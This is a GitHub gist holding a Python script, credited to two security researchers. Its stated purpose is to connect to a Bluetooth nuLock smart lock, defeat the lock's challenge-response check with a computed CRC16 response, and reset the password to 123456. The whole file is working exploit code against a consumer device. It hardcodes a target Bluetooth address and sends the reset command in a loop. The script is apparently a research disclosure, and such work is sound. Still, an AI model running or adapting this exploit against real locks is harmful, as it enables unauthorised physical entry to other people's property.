Created
December 13, 2016 00:21
-
-
Save mjg59/826bde4f3fa8ecb3445046b92f08f90b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# Copyright 2016 Mike Ryan | |
# Copyright 2016 Matthew Garrett | |
# | |
# This code will connect to a Bluetooth nuLock and reset the password to 123456 | |
# | |
# This file is part of PyBT and is available under the MIT license. Refer to | |
# LICENSE for details. | |
import BDAddr | |
from BluetoothSocket import BluetoothSocket, hci_devba | |
import socket | |
import sys | |
table = ( | |
0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241, | |
0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440, | |
0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40, | |
0x0A00, 0xCAC1, 0xCB81, 0x0B40, 0xC901, 0x09C0, 0x0880, 0xC841, | |
0xD801, 0x18C0, 0x1980, 0xD941, 0x1B00, 0xDBC1, 0xDA81, 0x1A40, | |
0x1E00, 0xDEC1, 0xDF81, 0x1F40, 0xDD01, 0x1DC0, 0x1C80, 0xDC41, | |
0x1400, 0xD4C1, 0xD581, 0x1540, 0xD701, 0x17C0, 0x1680, 0xD641, | |
0xD201, 0x12C0, 0x1380, 0xD341, 0x1100, 0xD1C1, 0xD081, 0x1040, | |
0xF001, 0x30C0, 0x3180, 0xF141, 0x3300, 0xF3C1, 0xF281, 0x3240, | |
0x3600, 0xF6C1, 0xF781, 0x3740, 0xF501, 0x35C0, 0x3480, 0xF441, | |
0x3C00, 0xFCC1, 0xFD81, 0x3D40, 0xFF01, 0x3FC0, 0x3E80, 0xFE41, | |
0xFA01, 0x3AC0, 0x3B80, 0xFB41, 0x3900, 0xF9C1, 0xF881, 0x3840, | |
0x2800, 0xE8C1, 0xE981, 0x2940, 0xEB01, 0x2BC0, 0x2A80, 0xEA41, | |
0xEE01, 0x2EC0, 0x2F80, 0xEF41, 0x2D00, 0xEDC1, 0xEC81, 0x2C40, | |
0xE401, 0x24C0, 0x2580, 0xE541, 0x2700, 0xE7C1, 0xE681, 0x2640, | |
0x2200, 0xE2C1, 0xE381, 0x2340, 0xE101, 0x21C0, 0x2080, 0xE041, | |
0xA001, 0x60C0, 0x6180, 0xA141, 0x6300, 0xA3C1, 0xA281, 0x6240, | |
0x6600, 0xA6C1, 0xA781, 0x6740, 0xA501, 0x65C0, 0x6480, 0xA441, | |
0x6C00, 0xACC1, 0xAD81, 0x6D40, 0xAF01, 0x6FC0, 0x6E80, 0xAE41, | |
0xAA01, 0x6AC0, 0x6B80, 0xAB41, 0x6900, 0xA9C1, 0xA881, 0x6840, | |
0x7800, 0xB8C1, 0xB981, 0x7940, 0xBB01, 0x7BC0, 0x7A80, 0xBA41, | |
0xBE01, 0x7EC0, 0x7F80, 0xBF41, 0x7D00, 0xBDC1, 0xBC81, 0x7C40, | |
0xB401, 0x74C0, 0x7580, 0xB541, 0x7700, 0xB7C1, 0xB681, 0x7640, | |
0x7200, 0xB2C1, 0xB381, 0x7340, 0xB101, 0x71C0, 0x7080, 0xB041, | |
0x5000, 0x90C1, 0x9181, 0x5140, 0x9301, 0x53C0, 0x5280, 0x9241, | |
0x9601, 0x56C0, 0x5780, 0x9741, 0x5500, 0x95C1, 0x9481, 0x5440, | |
0x9C01, 0x5CC0, 0x5D80, 0x9D41, 0x5F00, 0x9FC1, 0x9E81, 0x5E40, | |
0x5A00, 0x9AC1, 0x9B81, 0x5B40, 0x9901, 0x59C0, 0x5880, 0x9841, | |
0x8801, 0x48C0, 0x4980, 0x8941, 0x4B00, 0x8BC1, 0x8A81, 0x4A40, | |
0x4E00, 0x8EC1, 0x8F81, 0x4F40, 0x8D01, 0x4DC0, 0x4C80, 0x8C41, | |
0x4400, 0x84C1, 0x8581, 0x4540, 0x8701, 0x47C0, 0x4680, 0x8641, | |
0x8201, 0x42C0, 0x4380, 0x8341, 0x4100, 0x81C1, 0x8081, 0x4040, | |
) | |
def crc16( string ): | |
crc = 0 | |
for byte in string: | |
crc = (crc >> 8) ^ table[(crc ^ byte) & 0xff]; | |
print hex(crc) | |
return crc | |
my_addr = hci_devba(0) # get from HCI0 | |
dest = BDAddr.BDAddr("F0:C7:7F:17:25:99") | |
addr_type = BDAddr.TYPE_LE_PUBLIC | |
def read_handle(handle): | |
request = bytearray([0x0a, handle, 0x00]) | |
sock.send(request) | |
return sock.recv(20) | |
def send_req(data): | |
prolog = bytearray([0x12, 0x25, 0x00]) | |
request = prolog + data | |
sock.send(request) | |
return sock.recv(20) | |
# open L2CAP socket, then bind and connect on CID 4, GATT | |
sock = BluetoothSocket(socket.AF_BLUETOOTH, socket.SOCK_SEQPACKET, socket.BTPROTO_L2CAP) | |
sock.bind_l2(0, my_addr, cid=4, addr_type=BDAddr.TYPE_LE_RANDOM) | |
sock.connect_l2(0, dest, cid=4, addr_type=addr_type) | |
verify = bytearray([0xa1, 0x37, 0x34, 0x31, 0x36, 0x38, 0x39, 0x05, 0x78, 0x9a, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09]) | |
r = send_req(verify) | |
data = read_handle(0x25) | |
mac = data[4:10] | |
payload = data[10:20] | |
response = bytearray() | |
for i in range(6): | |
crc = crc16(bytearray([mac[i], payload[1], payload[3], payload[5], payload[7], payload[9]])) | |
low = crc & 0xff | |
high = crc >> 8 | |
response.append(high) | |
response.append(low) | |
verify2 = bytearray([0xa1, 0x37, 0x34, 0x31, 0x36, 0x38, 0x39, 0x09]) | |
r = send_req(verify2 + response) | |
state = read_handle(0x25) | |
reset = bytearray([0xa1, 0x37, 0x34, 0x31, 0x36, 0x38, 0x39, 0x08]) | |
while True: | |
r = send_req(reset) | |
response = read_handle(0x25) | |
print repr(response) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment